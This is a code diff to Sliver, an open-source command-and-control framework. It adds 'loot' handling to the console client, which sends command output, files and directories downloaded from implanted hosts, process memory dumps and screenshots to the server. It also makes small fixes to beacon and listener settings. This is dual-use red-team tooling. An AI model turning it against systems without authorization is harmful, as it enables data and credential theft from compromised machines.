@@ -131,13 +158,96 @@ func PrintExecute(exec *sliverpb.Execute, ctx *grumble.Context, con *console.Sli
if exec.Status != 0 {
con.PrintErrorf("Exited with status %d!\n", exec.Status)
}
if saveLoot && 0 < len(combined) {
name := fmt.Sprintf("[exec] %s %s", cmdPath, strings.Join(args, " "))
err := loot.AddLootFile(con.Rpc, name, "console.txt", []byte(combined), false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
con.PrintInfof("Output saved as loot\n")
}
func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
if session != nil {
return session.Hostname
}
if beacon != nil {
return beacon.Hostname
}
return ""
}
func determineCommandName(command string) string {
commandName := strings.ReplaceAll(command, "\\", "/")
commandName = commandName[strings.LastIndex(commandName, "/")+1:]
if strings.Contains(commandName, ".") {
commandName = commandName[:strings.LastIndex(commandName, ".")]
}
return commandName
}
func combineCommandOutput(exec *sliverpb.Execute, combineStdOut bool, combineStdErr bool) []byte {
var outputString string = ""
if combineStdOut {
outputString += "Output (stdout):\n" + string(exec.Stdout)
}
if combineStdErr {
if combineStdOut {
outputString += "\n"
}
outputString += "Stderr:\n" + string(exec.Stderr)
}
return []byte(outputString)
}
func LootExecute(commandOutput []byte, lootName string, sliverCmdName string, cmdName string, hostName string, con *console.SliverConsoleClient) {
if len(commandOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to loot.\n")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
shortCommandName := determineCommandName(cmdName)
fileName := fmt.Sprintf("%s_%s_%s_%s.log", sliverCmdName, hostName, shortCommandName, timeNow)
if lootName == "" {
lootName = fmt.Sprintf("[%s] %s on %s (%s)", sliverCmdName, shortCommandName, hostName, timeNow)
}
lootMessage := loot.CreateLootMessage(fileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_TEXT, commandOutput)
loot.SendLootMessage(lootMessage, con)
}
func PrintExecutionOutput(executionOutput string, saveOutput bool, commandName string, hostName string, con *console.SliverConsoleClient) {
con.PrintInfof("Output:\n%s", executionOutput)
if saveOutput {
SaveExecutionOutput(executionOutput, commandName, hostName, con)
}
}
func SaveExecutionOutput(executionOutput string, commandName string, hostName string, con *console.SliverConsoleClient) {
var outFilePath *os.File
var err error
if len(executionOutput) == 0 {
con.PrintInfof("There was no output from execution, so there is nothing to save.")
return
}
timeNow := time.Now().UTC().Format("20060102150405")
outFileName := filepath.Base(fmt.Sprintf("%s_%s_%s*.log", commandName, hostName, timeNow))
outFilePath, err = ioutil.TempFile("", outFileName)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if outFilePath != nil {
outFilePath.Write([]byte(executionOutput))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
+12 -20
View File
@@ -22,7 +22,6 @@ import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
@@ -70,7 +69,7 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
hostname := getHostname(session, beacon)
hostName := getHostname(session, beacon)
if sideload.Response != nil && sideload.Response.Async {
con.AddBeaconCallback(sideload.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, sideload)
@@ -78,34 +77,27 @@ func SideloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSideload(sideload, hostname, ctx, con)
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
})
con.PrintAsyncResponse(sideload.Response)
} else {
PrintSideload(sideload, hostname, ctx, con)
HandleSideloadResponse(sideload, binPath, hostName, ctx, con)
}
}
// PrintSideload - Print the sideload command output
func PrintSideload(sideload *sliverpb.Sideload, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
func HandleSideloadResponse(sideload *sliverpb.Sideload, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
if sideload.GetResponse().GetErr() != "" {
con.PrintErrorf("%s\n", sideload.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", sideload.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(sideload.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
PrintExecutionOutput(sideload.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if saveLoot {
LootExecute([]byte(sideload.Result), lootName, ctx.Command.Name, binPath, hostName, con)
}
}
+12 -21
View File
@@ -4,8 +4,6 @@ import (
"context"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
@@ -48,7 +46,7 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
ctrl <- true
<-ctrl
hostname := getHostname(session, beacon)
hostName := getHostname(session, beacon)
if spawndll.Response != nil && spawndll.Response.Async {
con.AddBeaconCallback(spawndll.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, spawndll)
@@ -56,34 +54,27 @@ func SpawnDllCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintSpawnDll(spawndll, hostname, ctx, con)
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
})
con.PrintAsyncResponse(spawndll.Response)
} else {
PrintSpawnDll(spawndll, hostname, ctx, con)
HandleSpawnDLLResponse(spawndll, binPath, hostName, ctx, con)
}
}
// PrintSpawnDll - Print the SpawnDll command response
func PrintSpawnDll(spawndll *sliverpb.SpawnDll, hostname string, ctx *grumble.Context, con *console.SliverConsoleClient) {
func HandleSpawnDLLResponse(spawndll *sliverpb.SpawnDll, binPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
if spawndll.GetResponse().GetErr() != "" {
con.PrintErrorf("Failed to spawn dll: %s\n", spawndll.GetResponse().GetErr())
return
}
var outFilePath *os.File
var err error
if ctx.Flags.Bool("save") {
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, hostname))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
con.PrintInfof("Output:\n%s", spawndll.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawndll.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
PrintExecutionOutput(spawndll.GetResult(), ctx.Flags.Bool("save"), ctx.Command.Name, hostName, con)
if saveLoot {
LootExecute([]byte(spawndll.GetResult()), lootName, ctx.Command.Name, binPath, hostName, con)
}
}
+28 -31
View File
@@ -19,19 +19,17 @@ package filesystem
*/
import (
"context"
"encoding/hex"
"fmt"
"os"
"path/filepath"
"github.com/alecthomas/chroma/formatters"
"github.com/alecthomas/chroma/lexers"
"github.com/alecthomas/chroma/styles"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"google.golang.org/protobuf/proto"
"github.com/desertbit/grumble"
)
@@ -49,43 +47,42 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: filePath,
})
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
userLootType := ctx.Flags.String("type")
userLootFileType := ctx.Flags.String("file-type")
var lootDownload bool = true
download, err := PerformDownload(filePath, filepath.Base(filePath), "console", ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintCat(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
} else {
PrintCat(download, ctx, con)
if saveLoot {
lootType, err := loot.ValidateLootType(userLootType)
if err != nil {
con.PrintErrorf("%s\n", err)
// Even if the loot type is bad, we can still print the result to the screen
// We will not loot it though
lootDownload = false
}
fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
if lootDownload {
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
con.Printf("\n")
}
}
PrintCat(download, ctx, con)
}
// PrintCat - Print the download to stdout
func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
if ctx.Flags.Bool("colorize-output") {
if err = colorize(download); err != nil {
con.Println(string(download.Data))
+89 -34
View File
@@ -24,8 +24,10 @@ import (
"os"
"path"
"path/filepath"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -35,6 +37,42 @@ import (
"github.com/desertbit/grumble"
)
func PerformDownload(remotePath string, fileName string, destination string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, destination), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
ctrl <- true
<-ctrl
if err != nil {
return nil, err
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
}
})
con.PrintAsyncResponse(download.Response)
}
if download.Response != nil && download.Response.Err != "" {
return download, fmt.Errorf("%s\n", download.Response.Err)
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
return nil, fmt.Errorf("Decoding failed %s", err)
}
}
return download, nil
}
// DownloadCmd - Download a file from the remote system
func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
@@ -47,38 +85,50 @@ func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
var dst string
var err error
var lootType clientpb.LootType
var fileType clientpb.FileType
var lootName string = ""
if ctx.Flags.Bool("loot") {
// The destination is the loot store.
dst = "loot"
lootName = ctx.Flags.String("name")
lootType, err = loot.ValidateLootType(ctx.Flags.String("type"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Determine file type after the download is complete
} else {
// If this download is not being looted, make sure the local path exists
dst, err = filepath.Abs(localPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
return
}
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
ctrl <- true
<-ctrl
download, err := PerformDownload(src, fileName, dst, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintDownload(download, ctx, con)
})
con.PrintAsyncResponse(download.Response)
if dst == "loot" {
// Hand off to the loot package to take care of looting
fileType = loot.ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
} else {
PrintDownload(download, ctx, con)
}
@@ -96,7 +146,12 @@ func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *conso
src := remotePath
fileName := filepath.Base(src)
dst, _ := filepath.Abs(localPath)
dst, err := filepath.Abs(localPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
fi, err := os.Stat(dst)
if err != nil && !os.IsNotExist(err) {
con.PrintErrorf("%s\n", err)
@@ -105,6 +160,12 @@ func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *conso
if err == nil && fi.IsDir() {
dst = path.Join(dst, fileName)
}
// Add an extension to a directory download if one is not provided.
if download.IsDir && (!strings.HasSuffix(dst, ".tgz") || !strings.HasSuffix(dst, ".tar.gz")) {
dst += ".tar.gz"
}
if _, err := os.Stat(dst); err == nil {
overwrite := false
prompt := &survey.Confirm{Message: "Overwrite local file?"}
@@ -113,13 +174,7 @@ func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *conso
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
dstFile, err := os.Create(dst)
if err != nil {
con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
+11 -1
View File
@@ -38,7 +38,17 @@ func parseBeaconFlags(ctx *grumble.Context, con *console.SliverConsoleClient, co
interval := time.Duration(ctx.Flags.Int64("days")) * time.Hour * 24
interval += time.Duration(ctx.Flags.Int64("hours")) * time.Hour
interval += time.Duration(ctx.Flags.Int64("minutes")) * time.Minute
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
/*
If seconds has not been specified but any of the other time units have, then do not add
the default 60 seconds to the interval.
If seconds have been specified, then add them regardless.
*/
if (ctx.Flags["seconds"].IsDefault && interval.Seconds() == 0) || (!ctx.Flags["seconds"].IsDefault) {
interval += time.Duration(ctx.Flags.Int64("seconds")) * time.Second
}
if interval < minBeaconInterval {
return ErrBeaconIntervalTooShort
}
+8
View File
@@ -305,6 +305,13 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
con.PrintInfof("Generated unique ip for wg peer tun interface: %s\n", tunIP.String())
}
// TODO: Use generics or something to check in a slice
connectionStrategy := ctx.Flags.String("strategy")
if connectionStrategy != "" && connectionStrategy != "s" && connectionStrategy != "r" && connectionStrategy != "rd" {
con.PrintErrorf("Invalid connection strategy: %s\n", connectionStrategy)
return nil
}
config := &clientpb.ImplantConfig{
GOOS: targetOS,
GOARCH: targetArch,
@@ -319,6 +326,7 @@ func parseCompileFlags(ctx *grumble.Context, con *console.SliverConsoleClient) *
WGKeyExchangePort: uint32(ctx.Flags.Int("key-exchange")),
WGTcpCommsPort: uint32(ctx.Flags.Int("tcp-comms")),
ConnectionStrategy: connectionStrategy,
ReconnectInterval: int64(reconnectInterval) * int64(time.Second),
PollTimeout: int64(pollTimeout) * int64(time.Second),
MaxConnectionErrors: uint32(maxConnectionErrors),
+3 -2
View File
@@ -31,9 +31,9 @@ import (
func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
domains := strings.Split(ctx.Flags.String("domains"), ",")
for _, domain := range domains {
for index, domain := range domains {
if !strings.HasSuffix(domain, ".") {
domain += "."
domains[index] += "."
}
}
@@ -47,6 +47,7 @@ func DNSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Port: uint32(lport),
Canaries: !ctx.Flags.Bool("no-canaries"),
Persistent: ctx.Flags.Bool("persistent"),
EnforceOTP: !ctx.Flags.Bool("disable-otp"),
})
con.Println()
if err != nil {
+5 -1
View File
@@ -176,7 +176,11 @@ func SelectLoot(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) (*clientpb.Loot
buf := bytes.NewBufferString("")
table := tabwriter.NewWriter(buf, 0, 2, 2, ' ', 0)
for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
if loot.Name == loot.File.Name {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", loot.Name, loot.Type, loot.LootID)
} else {
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", loot.Name, loot.File.Name, loot.Type, loot.LootID)
}
}
table.Flush()
options := strings.Split(buf.String(), "\n")
+5 -4
View File
@@ -159,14 +159,15 @@ func PrintAllLootTable(stdout io.Writer, allLoot *clientpb.AllLoot) {
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
fmt.Fprintln(table, "Type\tName\tUUID\t")
fmt.Fprintf(table, "%s\t%s\t%s\t\n",
fmt.Fprintln(table, "Type\tName\tFile Name\tUUID\t")
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n",
strings.Repeat("=", len("Type")),
strings.Repeat("=", len("Name")),
strings.Repeat("=", len("File Name")),
strings.Repeat("=", len("UUID")),
)
for _, loot := range allLoot.Loot {
fmt.Fprintf(table, "%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.LootID)
fmt.Fprintf(table, "%s\t%s\t%s\t%s\t\n", lootTypeToStr(loot.Type), loot.Name, loot.File.Name, loot.LootID)
}
table.Flush()
@@ -401,7 +402,7 @@ func isText(sample []byte) bool {
// last char may be incomplete - ignore
break
}
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' {
if c == 0xFFFD || c < ' ' && c != '\n' && c != '\t' && c != '\f' && c != '\r' {
// decoding error or control character - not a text file
return false
}
+207 -67
View File
@@ -19,9 +19,14 @@ package loot
*/
import (
"archive/tar"
"bytes"
"compress/gzip"
"context"
"fmt"
"path"
"io"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -29,8 +34,198 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
func ValidateLootType(lootTypeInput string) (clientpb.LootType, error) {
var lootType clientpb.LootType
var err error
if lootTypeInput != "" {
lootType, err = lootTypeFromHumanStr(lootTypeInput)
if err != nil {
/*
If we get an error, that means that this loot type was invalid.
We will leave it up to the caller to handle the error (output it
to the console for example)
*/
return lootType, fmt.Errorf("Invalid loot type %s", lootTypeInput)
}
} else {
lootType = clientpb.LootType_LOOT_FILE
}
return lootType, err
}
func ValidateLootFileType(lootFileTypeInput string, data []byte) clientpb.FileType {
lootFileType, err := lootFileTypeFromHumanStr(lootFileTypeInput)
if lootFileType == -1 || err != nil {
if isText(data) {
lootFileType = clientpb.FileType_TEXT
} else {
lootFileType = clientpb.FileType_BINARY
}
}
return lootFileType
}
/*
Eventually this function needs to be refactored out, but we made the decision to
duplicate it for now
*/
func PerformDownload(remotePath string, fileName string, ctx *grumble.Context, con *console.SliverConsoleClient) (*sliverpb.Download, error) {
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, "loot"), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
ctrl <- true
<-ctrl
if err != nil {
return nil, err
}
if download.Response != nil && download.Response.Async {
con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, download)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
}
})
con.PrintAsyncResponse(download.Response)
}
if download.Response != nil && download.Response.Err != "" {
return nil, fmt.Errorf("%s\n", download.Response.Err)
}
// Decode the downloaded data if required
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
return nil, fmt.Errorf("Decoding failed %s", err)
}
}
return download, nil
}
func CreateLootMessage(fileName string, lootName string, lootType clientpb.LootType, lootFileType clientpb.FileType, data []byte) *clientpb.Loot {
if lootName == "" {
lootName = fileName
}
lootMessage := &clientpb.Loot{
Name: lootName,
Type: lootType,
FileType: lootFileType,
File: &commonpb.File{
Name: fileName,
Data: data,
},
}
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
lootMessage.CredentialType = clientpb.CredentialType_FILE
}
return lootMessage
}
func SendLootMessage(loot *clientpb.Loot, con *console.SliverConsoleClient) {
control := make(chan bool)
con.SpinUntil(fmt.Sprintf("Sending looted file (%s) to the server...", loot.Name), control)
loot, err := con.Rpc.LootAdd(context.Background(), loot)
control <- true
<-control
if err != nil {
con.PrintErrorf("%s\n", err)
}
if loot.Name != loot.File.Name {
con.PrintInfof("Successfully looted %s (%s) (ID: %s)\n", loot.File.Name, loot.Name, loot.LootID)
} else {
con.PrintInfof("Successfully looted %s (ID: %s)\n", loot.Name, loot.LootID)
}
return
}
func LootDownload(download *sliverpb.Download, lootName string, lootType clientpb.LootType, fileType clientpb.FileType, ctx *grumble.Context, con *console.SliverConsoleClient) {
// Was the download successful?
if download.Response != nil && download.Response.Err != "" {
con.PrintErrorf("%s\n", download.Response.Err)
return
}
/* Construct everything needed to send the loot to the server
If this is a directory, we will process each file individually
*/
// Let's handle the simple case of a file first
if !download.IsDir {
// filepath.Base does not deal with backslashes correctly in Windows paths, so we have to standardize the path to forward slashes
downloadPath := strings.ReplaceAll(download.Path, "\\", "/")
lootMessage := CreateLootMessage(filepath.Base(downloadPath), lootName, lootType, fileType, download.Data)
SendLootMessage(lootMessage, con)
} else {
// We have to decompress the gzip file first
decompressedDownload, err := gzip.NewReader(bytes.NewReader(download.Data))
if err != nil {
con.PrintErrorf("Could not decompress downloaded data: %s", err)
return
}
/*
Directories are stored as tar-ed gzip archives.
We have gotten rid of the gzip part, now we have to sort out the tar
*/
tarReader := tar.NewReader(decompressedDownload)
// Keep reading until we reach the end
for {
entryHeader, err := tarReader.Next()
if err == io.EOF {
// We have reached the end of the tar archive
break
}
if err != nil {
// Something is wrong with this archive. Stop reading.
break
}
if entryHeader == nil {
/*
If the entry is nil, skip it (not sure when this would happen,
but we do not want to attempt operations on something that is nil)
*/
continue
}
if entryHeader.Typeflag == tar.TypeDir {
// Keep going to dig into the directory
continue
}
// The implant should have only shipped us files (the implant resolves symlinks)
// Create a loot message for this file and ship it
/* Using io.ReadAll because it reads until EOF. We have already read the header, so the next EOF should
be the end of the file
*/
fileData, err := io.ReadAll(tarReader)
if err == nil {
lootMessage := CreateLootMessage(filepath.Base(entryHeader.Name), lootName, lootType, fileType, fileData)
SendLootMessage(lootMessage, con)
}
}
}
}
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
@@ -38,77 +233,22 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
remotePath := ctx.Args.String("path")
fileName := filepath.Base(remotePath)
name := ctx.Flags.String("name")
if name == "" {
name = path.Base(remotePath)
}
var lootType clientpb.LootType
var err error
lootTypeStr := ctx.Flags.String("type")
if lootTypeStr != "" {
lootType, err = lootTypeFromHumanStr(lootTypeStr)
if err == ErrInvalidLootType {
con.PrintErrorf("Invalid loot type %s", lootTypeStr)
return
}
} else {
lootType = clientpb.LootType_LOOT_FILE
}
ctrl := make(chan bool)
con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
Request: con.ActiveTarget.Request(ctx),
Path: remotePath,
})
if err != nil {
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err) // Download failed
return
}
}
if download.Encoder == "gzip" {
download.Data, err = new(encoders.Gzip).Decode(download.Data)
if err != nil {
con.PrintErrorf("Decoding failed %s", err)
return
}
}
// Determine type based on download buffer
lootFileType, err := lootFileTypeFromHumanStr(ctx.Flags.String("file-type"))
if lootFileType == -1 || err != nil {
if isText(download.Data) {
lootFileType = clientpb.FileType_TEXT
} else {
lootFileType = clientpb.FileType_BINARY
}
}
loot := &clientpb.Loot{
Name: name,
Type: lootType,
FileType: lootFileType,
File: &commonpb.File{
Name: path.Base(remotePath),
Data: download.Data,
},
}
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
loot.CredentialType = clientpb.CredentialType_FILE
}
loot, err = con.Rpc.LootAdd(context.Background(), loot)
ctrl <- true
<-ctrl
lootType, err := ValidateLootType(ctx.Flags.String("type"))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
download, err := PerformDownload(remotePath, fileName, ctx, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
// Determine type based on download buffer
lootFileType := ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
LootDownload(download, name, lootType, lootFileType, ctx, con)
}
+31 -3
View File
@@ -24,7 +24,9 @@ import (
"io/ioutil"
"os"
"path/filepath"
"time"
"github.com/bishopfox/sliver/client/command/loot"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -42,6 +44,8 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
pid := ctx.Flags.Int("pid")
name := ctx.Flags.String("name")
saveTo := ctx.Flags.String("save")
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("loot-name")
if pid == -1 && name != "" {
pid = GetPIDByName(ctx, name, con)
@@ -78,11 +82,23 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintProcessDump(dump, saveTo, hostname, pid, con)
if saveLoot {
LootProcessDump(dump, lootName, hostname, pid, con)
}
if !saveLoot || saveTo != "" {
PrintProcessDump(dump, saveTo, hostname, pid, con)
}
})
con.PrintAsyncResponse(dump.Response)
} else {
PrintProcessDump(dump, saveTo, hostname, pid, con)
if saveLoot {
LootProcessDump(dump, lootName, hostname, pid, con)
}
if !saveLoot || saveTo != "" {
PrintProcessDump(dump, saveTo, hostname, pid, con)
}
}
}
@@ -99,7 +115,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0o600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
@@ -119,3 +135,15 @@ func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
}
return ""
}
func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName string, pid int, con *console.SliverConsoleClient) {
timeNow := time.Now().UTC()
dumpFileName := fmt.Sprintf("procdump_%s_%d_%s.dmp", hostName, pid, timeNow.Format("20060102150405"))
if lootName == "" {
lootName = dumpFileName
}
lootMessage := loot.CreateLootMessage(dumpFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, dump.GetData())
loot.SendLootMessage(lootMessage, con)
}
+38 -10
View File
@@ -57,6 +57,10 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
saveLoot := ctx.Flags.Bool("loot")
lootName := ctx.Flags.String("name")
saveTo := ctx.Flags.String("save")
hostname := getHostname(session, beacon)
if screenshot.Response != nil && screenshot.Response.Async {
con.AddBeaconCallback(screenshot.Response.TaskID, func(task *clientpb.BeaconTask) {
@@ -65,11 +69,31 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
PrintScreenshot(screenshot, hostname, ctx, con)
if saveLoot {
if len(screenshot.Data) > 0 {
LootScreenshot(screenshot, lootName, hostname, con)
} else {
con.PrintErrorf("Cannot loot screenshot because it contained no data")
}
}
if !saveLoot || saveTo != "" {
PrintScreenshot(screenshot, hostname, ctx, con)
}
})
con.PrintAsyncResponse(screenshot.Response)
} else {
PrintScreenshot(screenshot, hostname, ctx, con)
if saveLoot {
if len(screenshot.Data) > 0 {
LootScreenshot(screenshot, lootName, hostname, con)
} else {
con.PrintErrorf("Cannot loot screenshot because it contained no data")
}
}
if !saveLoot || saveTo != "" {
PrintScreenshot(screenshot, hostname, ctx, con)
}
}
}
@@ -88,7 +112,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
return
}
} else {
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0600)
if err != nil {
con.PrintErrorf("Error creating file: %s\n", err)
return
@@ -103,14 +127,18 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
}
con.PrintInfof("Screenshot written to %s (%s)\n", saveToFile.Name(), util.ByteCountBinary(int64(n)))
if ctx.Flags.Bool("loot") && 0 < len(screenshot.Data) {
err = loot.AddLootFile(con.Rpc, fmt.Sprintf("[screenshot] %s", timestamp), saveToFile.Name(), screenshot.Data, false)
if err != nil {
con.PrintErrorf("Failed to save output as loot: %s\n", err)
} else {
